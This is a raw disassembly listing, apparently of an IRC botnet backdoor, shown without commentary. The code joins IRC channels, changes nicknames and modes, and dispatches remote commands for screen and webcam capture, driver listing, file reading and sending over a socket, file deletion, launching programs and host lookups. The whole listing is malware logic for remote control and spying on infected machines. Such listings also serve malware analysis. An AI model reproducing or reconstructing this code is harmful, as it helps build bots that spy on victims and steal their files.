		lea	eax, [ebp+Dst]
		push	[ebp+var_90]
		push	[ebp+Str2]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	1FFh		; Count
		push	eax		; Source
		push	[ebp+Src]	; Dest
		call	_strncpy
		push	esi
		lea	eax, [ebp+Dst]
		push	offset dword_435830 ; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		push	edi		; Str


loc_412F4B:				; DATA XREF: UPX0:off_42CE40o
		call	_atoi
		add	esp, 38h
		test	eax, eax
		jle	loc_414F3C
		push	edi		; Str
		call	_atoi
		add	eax, [ebp+File]
		pop	ecx
		jmp	loc_40F218
; ---------------------------------------------------------------------------


loc_412F6A:				; CODE XREF: sub_40EE51+40A2j
		push	offset dword_4357EC
		jmp	loc_411891
; ---------------------------------------------------------------------------


loc_412F74:				; CODE XREF: sub_40EE51+24E9j
					; sub_40EE51+2500j
		push	[ebp+Str1]
		lea	eax, [ebp+Dst]
		push	offset aPartS	; "PART	%s"
		push	eax		; Dest
		call	_sprintf
		push	edi		; Str
		call	_atoi
		add	esp, 10h


loc_412F91:				; CODE XREF: sub_40EE51+41AAj
		test	eax, eax
		jle	loc_414F3C
		push	edi		; Str
		call	_atoi
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F3C


loc_412FAB:				; CODE XREF: sub_40EE51+4CB2j
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aS_6	; "%s\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44207C[eax] ; int
		call	sub_40D62A


loc_412FCF:				; CODE XREF: sub_40EE51+5D50j
		add	esp, 0Ch
		jmp	loc_414F3C
; ---------------------------------------------------------------------------


loc_412FD7:				; CODE XREF: sub_40EE51+24BBj
					; sub_40EE51+24D2j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+Dst]
		push	[ebp+Str1]
		push	offset aJoinSS	; "JOIN	%s %s"
		push	eax		; Dest
		call	_sprintf
		push	edi		; Str
		call	_atoi
		add	esp, 14h
		jmp	short loc_412F91
; ---------------------------------------------------------------------------


loc_412FFD:				; CODE XREF: sub_40EE51+248Dj
					; sub_40EE51+24A4j
		push	[ebp+Str1]
		lea	eax, [ebp+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		push	edi		; Str
		call	_atoi
		add	esp, 10h
		test	eax, eax
		jle	loc_414F3C
		push	edi		; Str
		call	_atoi
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F3C
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aS_6	; "%s\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44207C[eax] ; int
		call	sub_40D62A
		push	[ebp+Str1]
		push	edi		; Args
		push	offset dword_4357A4 ; Format


loc_413061:				; CODE XREF: sub_40EE51+429Aj
					; sub_40EE51+4305j ...
		call	sub_40BFE3


loc_413066:				; CODE XREF: sub_40EE51+5A20j
		add	esp, 18h
		jmp	loc_414F3C
; ---------------------------------------------------------------------------


loc_41306E:				; CODE XREF: sub_40EE51+245Fj
					; sub_40EE51+2476j
		cmp	[ebp+var_C], ebx
		jz	loc_414F3C
		push	[ebp+Str1]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41309F
		push	esi
		lea	eax, [ebp+Dst]
		push	offset aModeS	; "MODE	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_41309F:				; CODE XREF: sub_40EE51+4237j
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_414F3C
		push	edi		; Str
		call	_atoi
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F3C
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aS_6	; "%s\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44207C[eax] ; int
		call	sub_40D62A
		push	esi
		push	edi
		push	offset dword_435770
		jmp	loc_413061
; ---------------------------------------------------------------------------


loc_4130F0:				; CODE XREF: sub_40EE51+2431j
					; sub_40EE51+2448j
		cmp	[ebp+var_C], ebx
		jz	loc_414F3C
		push	[ebp+Str1]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F3C
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_414F3C
		push	edi		; Str
		call	_atoi
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F3C
		push	esi		; Args
		push	offset aS_6	; "%s\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44207C[eax] ; int
		call	sub_40D62A
		push	esi
		push	edi
		push	offset dword_435744
		jmp	loc_413061
; ---------------------------------------------------------------------------


loc_41315B:				; CODE XREF: sub_40EE51+2403j
					; sub_40EE51+241Aj
		cmp	[ebp+var_C], ebx
		jz	loc_414F3C
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F3C
		push	esi		; Args
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		push	esi		; Args
		push	offset dword_43570C ; Format


loc_41318D:				; CODE XREF: sub_40EE51+4E64j
					; sub_40EE51+4E7Dj ...
		call	sub_40BFE3


loc_413192:				; CODE XREF: sub_40EE51+43AAj
		add	esp, 14h
		jmp	loc_414F3C
; ---------------------------------------------------------------------------


loc_41319A:				; CODE XREF: sub_40EE51+23D5j
					; sub_40EE51+23ECj
		push	[ebp+var_90]	; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F215
		push	[ebp+Str1]	; Args
		push	offset dword_435700 ; Format
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		push	edi		; Str
		call	_atoi
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_423060	; Sleep
		push	[ebp+esi+var_88]
		push	[ebp+Str1]	; Args
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		push	offset dword_4356DC
		call	sub_40BF6F
		jmp	short loc_413192
; ---------------------------------------------------------------------------


loc_4131FD:				; CODE XREF: sub_40EE51+23A7j
					; sub_40EE51+23BEj
		cmp	[ebp+var_C], ebx
		jz	loc_414F3C
		push	edi		; Str
		call	_strlen
		push	[ebp+arg_8]	; Str
		mov	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+Str1]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F3C
		push	esi
		lea	eax, [ebp+Dst]
		push	offset dword_435EF8 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	ebx		; int
		push	eax		; int
		push	edi		; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		push	esi
		push	edi		; Args
		push	offset dword_4356B0 ; Format
		call	sub_40BFE3
		add	esp, 2Ch
		jmp	loc_414F3C
; ---------------------------------------------------------------------------


loc_41326B:				; CODE XREF: sub_40EE51+2379j
					; sub_40EE51+2390j
		cmp	[ebp+var_C], ebx
		jz	loc_414F3C
		push	edi		; Str
		call	_strlen
		push	[ebp+arg_8]	; Str
		mov	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+Str1]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F3C
		push	ebx		; int
		push	ebx		; int
		push	esi		; int
		push	edi		; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		push	esi
		push	edi		; Args
		push	offset dword_435684 ; Format
		call	sub_40BFE3
		jmp	loc_411EA7
; ---------------------------------------------------------------------------


loc_4132BE:				; CODE XREF: sub_40EE51+234Bj
					; sub_40EE51+2362j
		cmp	[ebp+var_C], ebx
		jz	loc_40F215
		push	[ebp+Str1]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F215
		push	eax		; int
		push	edi		; Source
		call	sub_40BE77
		push	edi
		lea	eax, [ebp+Dst]
		push	offset dword_435658 ; Format
		push	eax		; Dest
		call	_sprintf


loc_4132F5:				; CODE XREF: sub_40EE51+3C8Aj
		add	esp, 14h
		jmp	loc_4145C3
; ---------------------------------------------------------------------------


loc_4132FD:				; CODE XREF: sub_40EE51+230Bj
					; sub_40EE51+2322j
		push	edi		; SubStr
		push	[ebp+arg_1C]	; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F3C
		mov	esi, [ebp+esi+Format]
		cmp	esi, ebx
		jz	short loc_41339A
		push	esi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_413382
		push	esi
		lea	eax, [ebp+Dst]
		push	[ebp+Format]
		push	[ebp+var_90]
		push	[ebp+Str2]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	1FFh		; Count
		push	eax		; Source
		push	[ebp+Src]	; Dest
		call	_strncpy
		push	esi
		push	edi
		lea	eax, [ebp+Dst]
		push	offset dword_435624 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 34h
		inc	[ebp+File]
		jmp	loc_414A84
; ---------------------------------------------------------------------------


loc_413382:				; CODE XREF: sub_40EE51+44D9j
		lea	eax, [ebp+Dst]
		push	offset dword_4355E4 ; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_414A84
; ---------------------------------------------------------------------------


loc_41339A:				; CODE XREF: sub_40EE51+44C8j
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	[ebp+arg_4]	; int
		push	[ebp+arg_1C]	; int
		push	eax		; Dest
		call	sub_40BB87
		add	esp, 0Ch
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		push	edi
		push	offset dword_4355BC ; Format
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 24h
		jmp	loc_414A84
; ---------------------------------------------------------------------------


loc_4133E1:				; CODE XREF: sub_40EE51+22DDj
					; sub_40EE51+22F4j
		push	offset aScreen	; "screen"
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413444
		cmp	[ebp+esi+Format], ebx
		jz	short loc_413431
		push	[ebp+esi+Format]
		call	sub_4085A0
		cmp	eax, 1
		pop	ecx
		jnz	short loc_41342A
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset dword_435578 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_41342A:				; CODE XREF: sub_40EE51+45BAj
		push	offset dword_43553C
		jmp	short loc_413436
; ---------------------------------------------------------------------------


loc_413431:				; CODE XREF: sub_40EE51+45A8j
		push	offset dword_4354F4 ; Format


loc_413436:				; CODE XREF: sub_40EE51+45DEj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_413444:				; CODE XREF: sub_40EE51+459Fj
					; sub_40EE51+45D7j
		push	offset aDrivers	; "drivers"
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4134DB
		mov	[ebp+Src], ebx


loc_41345C:				; CODE XREF: sub_40EE51+4675j
		lea	eax, [ebp+var_75C]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_3F8]
		push	0FFh
		push	eax
		push	[ebp+Src]
		call	ds:dword_43C648
		test	eax, eax
		jz	short loc_4134BF
		lea	eax, [ebp+var_75C]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	[ebp+Src]
		push	offset dword_4354B8 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+var_15B0]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 28h


loc_4134BF:				; CODE XREF: sub_40EE51+462Ej
		inc	[ebp+Src]
		cmp	[ebp+Src], 0Ah
		jl	short loc_41345C
		lea	eax, [ebp+Dst]
		push	offset dword_435484 ; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_4134DB:				; CODE XREF: sub_40EE51+4602j
		push	offset aFrame	; "frame"
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413581
		cmp	[ebp+esi+Format], ebx
		jz	short loc_41356E
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_41356E
		cmp	dword ptr [ebp+esi+Args], ebx
		jz	short loc_41356E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_41356E
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	dword ptr [ebp+esi+Args] ; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+esi+var_88] ; Str
		call	_atoi
		pop	ecx
		push	eax		; Size
		push	[ebp+esi+Format] ; int
		call	sub_4087DB
		add	esp, 10h
		test	eax, eax
		jnz	short loc_413567
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset dword_435440 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_413581
; ---------------------------------------------------------------------------


loc_413567:				; CODE XREF: sub_40EE51+46F7j
		push	offset dword_4353FC
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_41356E:				; CODE XREF: sub_40EE51+46A6j
					; sub_40EE51+46AFj ...
		push	offset dword_4353B4 ; Format


loc_413573:				; CODE XREF: sub_40EE51+471Bj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_413581:				; CODE XREF: sub_40EE51+4699j
					; sub_40EE51+4714j
		push	offset aVideo	; "video"
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413A2F
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		mov	[ebp+Str1], eax
		jz	short loc_41361A
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+Src], eax
		jz	short loc_41361A
		mov	eax, dword ptr [ebp+esi+Args]
		cmp	eax, ebx
		mov	[ebp+Source], eax
		jz	short loc_41361A
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_41361A
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_41361A
		push	esi		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	edi		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+Source]	; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+Src]	; Str
		call	_atoi
		pop	ecx
		push	eax		; Size
		push	[ebp+Str1]	; int
		call	sub_4089D4
		add	esp, 14h
		test	eax, eax
		jnz	short loc_413610
		push	[ebp+Str1]
		push	offset dword_435378
		jmp	loc_411891
; ---------------------------------------------------------------------------


loc_413610:				; CODE XREF: sub_40EE51+47B0j
		push	offset dword_435328
		jmp	loc_413A21
; ---------------------------------------------------------------------------


loc_41361A:				; CODE XREF: sub_40EE51+4751j
					; sub_40EE51+475Fj ...
		push	offset dword_4352DC
		jmp	loc_413A21
; ---------------------------------------------------------------------------


loc_413624:				; CODE XREF: sub_40EE51+1CE2j
					; sub_40EE51+1CF9j
		push	offset aR	; "r"
		push	edi		; Filename
		call	_fopen
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41369E
		mov	ebx, 200h
		push	esi		; File
		lea	eax, [ebp+Dst]
		push	ebx		; MaxCount
		push	eax		; Buf
		call	_fgets
		add	esp, 0Ch


loc_41364D:				; CODE XREF: sub_40EE51+482Bj
		test	eax, eax
		jz	short loc_41367E
		push	1		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		push	esi		; File
		lea	eax, [ebp+Dst]
		push	ebx		; MaxCount
		push	eax		; Buf
		call	_fgets
		add	esp, 20h
		jmp	short loc_41364D
; ---------------------------------------------------------------------------


loc_41367E:				; CODE XREF: sub_40EE51+47FEj
		push	esi		; File
		call	_fclose
		push	edi
		lea	eax, [ebp+Dst]
		push	offset dword_4352A8 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	loc_411106
; ---------------------------------------------------------------------------


loc_41369E:				; CODE XREF: sub_40EE51+47E4j
		push	edi
		push	offset dword_435278
		jmp	loc_414E17
; ---------------------------------------------------------------------------


loc_4136A9:				; CODE XREF: sub_40EE51+1CB4j
					; sub_40EE51+1CCBj
		cmp	[ebp+var_C], ebx
		jz	loc_414F3C
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F3C
		push	offset asc_429660 ; "\n"
		push	esi		; Dest
		call	_strcat
		push	esi		; Str
		call	sub_40B353
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4136E9
		push	offset dword_43523C
		jmp	loc_413A21
; ---------------------------------------------------------------------------


loc_4136E9:				; CODE XREF: sub_40EE51+488Cj
		push	esi
		push	offset dword_435214
		jmp	loc_414A75
; ---------------------------------------------------------------------------


loc_4136F4:				; CODE XREF: sub_40EE51+1C86j
					; sub_40EE51+1C9Dj
		cmp	[ebp+var_C], ebx
		jz	loc_414F3C
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F3C
		push	eax		; Format
		call	sub_40AAF5
		test	eax, eax
		pop	ecx
		jnz	short loc_413725
		push	offset unk_4351E8
		jmp	loc_413A21
; ---------------------------------------------------------------------------


loc_413725:				; CODE XREF: sub_40EE51+48C8j
		push	offset dword_4351BC
		jmp	loc_413A21
; ---------------------------------------------------------------------------


loc_41372F:				; CODE XREF: sub_40EE51+1C58j
					; sub_40EE51+1C6Fj
		push	7Fh		; Count
		lea	eax, [ebp+var_6EC]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		mov	esi, [ebp+esi+Format]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_41375E
		push	7Fh		; Count
		lea	eax, [ebp+var_66C]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_41375E:				; CODE XREF: sub_40EE51+48F9j
		push	7Fh		; Count
		lea	eax, [ebp+var_5EC]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+Dst]
		push	offset dword_435194 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	15h		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 24h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	ebx
		push	eax
		push	offset sub_40BC4D
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_4137FC


loc_4137E6:				; CODE XREF: sub_40EE51+49A9j
		cmp	[ebp+var_560], ebx
		jnz	loc_414A84
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_4137E6
; ---------------------------------------------------------------------------


loc_4137FC:				; CODE XREF: sub_40EE51+4993j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435148
		jmp	loc_414A75
; ---------------------------------------------------------------------------


loc_41380D:				; CODE XREF: sub_40EE51+1C2Aj
					; sub_40EE51+1C41j
		push	ebx		; Source
		push	[ebp+Format]	; int
		push	[ebp+arg_4]	; int
		push	edi		; Str
		call	sub_40637D
		push	edi
		push	offset dword_435124
		jmp	loc_413061
; ---------------------------------------------------------------------------


loc_413828:				; CODE XREF: sub_40EE51+1BFCj
					; sub_40EE51+1C13j
		push	14h		; Size
		lea	eax, [ebp+var_708]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	edi
		lea	eax, [ebp+Dest]
		push	offset aS_1	; "%s"
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	eax		; Format
		lea	eax, [ebp+var_5F0]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset dword_4350F0 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	12h		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 40h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C514
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_4138F8


loc_4138E2:				; CODE XREF: sub_40EE51+4AA5j
		cmp	[ebp+var_560], ebx
		jnz	loc_414DFC
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_4138E2
; ---------------------------------------------------------------------------


loc_4138F8:				; CODE XREF: sub_40EE51+4A8Fj
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_437584
		jmp	loc_414DED
; ---------------------------------------------------------------------------


loc_413909:				; CODE XREF: sub_40EE51+1BCEj
					; sub_40EE51+1BE5j
		push	edi
		call	ds:dword_423158	; DeleteFileA
		test	eax, eax
		jz	short loc_41391C
		push	edi
		push	offset dword_4350C4
		jmp	short loc_413927
; ---------------------------------------------------------------------------


loc_41391C:				; CODE XREF: sub_40EE51+4AC1j
		push	offset dword_435A64
		call	sub_40AA30
		push	eax		; Format


loc_413927:				; CODE XREF: sub_40EE51+4AC9j
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		jmp	loc_4110E5
; ---------------------------------------------------------------------------


loc_413940:				; CODE XREF: sub_40EE51+1BA0j
					; sub_40EE51+1BB7j
		push	edi		; Str
		call	_atoi
		push	eax
		call	sub_415408
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_41395D
		push	offset unk_43508C
		jmp	short loc_413962
; ---------------------------------------------------------------------------


loc_41395D:				; CODE XREF: sub_40EE51+4B03j
		push	offset unk_435048 ; Format


loc_413962:				; CODE XREF: sub_40EE51+4B0Aj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_411109
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 14h
		jmp	loc_411109
; ---------------------------------------------------------------------------


loc_41399B:				; CODE XREF: sub_40EE51+1B72j
					; sub_40EE51+1B89j
		push	ebx		; int
		push	ebx		; int
		push	edi		; Str2
		push	[ebp+var_4]	; int
		push	ebx		; Str
		push	[ebp+arg_4]	; int
		call	sub_415179
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4139BD
		push	offset unk_435014
		jmp	loc_414E17
; ---------------------------------------------------------------------------


loc_4139BD:				; CODE XREF: sub_40EE51+4B60j
		push	offset unk_434FD4
		jmp	loc_414E17
; ---------------------------------------------------------------------------


loc_4139C7:				; CODE XREF: sub_40EE51+1B44j
					; sub_40EE51+1B5Bj
		push	edi
		call	ds:dword_43C658	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+Src], eax
		jz	short loc_413A01
		push	2
		lea	eax, [ebp+Src]
		push	4
		push	eax
		call	ds:dword_43C5D0	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_413A1C
		push	dword ptr [eax]


loc_4139EA:				; CODE XREF: sub_40EE51+4BC9j
		push	edi
		lea	eax, [ebp+Dst]
		push	offset dword_434FA8 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_413A2F
; ---------------------------------------------------------------------------


loc_413A01:				; CODE XREF: sub_40EE51+4B83j
		push	edi
		call	ds:dword_43C69C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_413A1C
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax
		jmp	short loc_4139EA
; ---------------------------------------------------------------------------


loc_413A1C:				; CODE XREF: sub_40EE51+4B95j
					; sub_40EE51+4BB9j
		push	offset dword_434F70 ; Format


loc_413A21:				; CODE XREF: sub_40EE51+3E34j
					; sub_40EE51+3FBDj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_413A2F:				; CODE XREF: sub_40EE51+2A4Fj
					; sub_40EE51+3B46j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414A84
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 14h
		jmp	loc_414A84
; ---------------------------------------------------------------------------


loc_413A59:				; CODE XREF: sub_40EE51+1B16j
					; sub_40EE51+1B2Dj
		push	7Fh		; Count
		push	edi		; Source
		push	[ebp+arg_14]	; Dest
		call	_strncpy
		push	edi
		lea	eax, [ebp+Dst]
		push	offset dword_434F3C ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_413A7E:				; CODE XREF: sub_40EE51+1AE8j
					; sub_40EE51+1AFFj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_43C58C
		test	eax, eax
		push	edi
		jz	short loc_413A9E
		push	offset unk_434F00
		jmp	loc_414E17
; ---------------------------------------------------------------------------


loc_413A9E:				; CODE XREF: sub_40EE51+4C41j
		push	offset unk_434EBC
		jmp	loc_414E17
; ---------------------------------------------------------------------------


loc_413AA8:				; CODE XREF: sub_40EE51+1ABAj
					; sub_40EE51+1AD1j
		mov	al, [edi]
		mov	ds:byte_42E5C0,	al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_434E88
		jmp	loc_410E13
; ---------------------------------------------------------------------------


loc_413ABD:				; CODE XREF: sub_40EE51+1A8Cj
					; sub_40EE51+1AA3j
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_414F3C
		push	edi		; Str
		call	_atoi
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F3C
		push	ebx		; Str1
		push	ebx		; int
		lea	eax, [ebp+SubStr]
		push	2		; int
		push	eax		; Dest
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		jmp	loc_412FAB
; ---------------------------------------------------------------------------


loc_413B08:				; CODE XREF: sub_40EE51+1A5Ej
					; sub_40EE51+1A75j
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_40F215
		push	edi		; Str
		call	_atoi
		mov	esi, 1F4h
		pop	ecx
		cmp	eax, esi
		jge	loc_40F215
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44207C[eax] ; int
		call	sub_40D62A
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_423060	; Sleep
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44207C[eax]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+var_10]
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	ds:dword_442084[eax]
		call	ds:dword_423168
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		push	edi		; Str
		mov	ds:dword_442084[eax], ebx
		call	_atoi
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr ds:dword_441E70[eax], bl
		jmp	loc_40F215
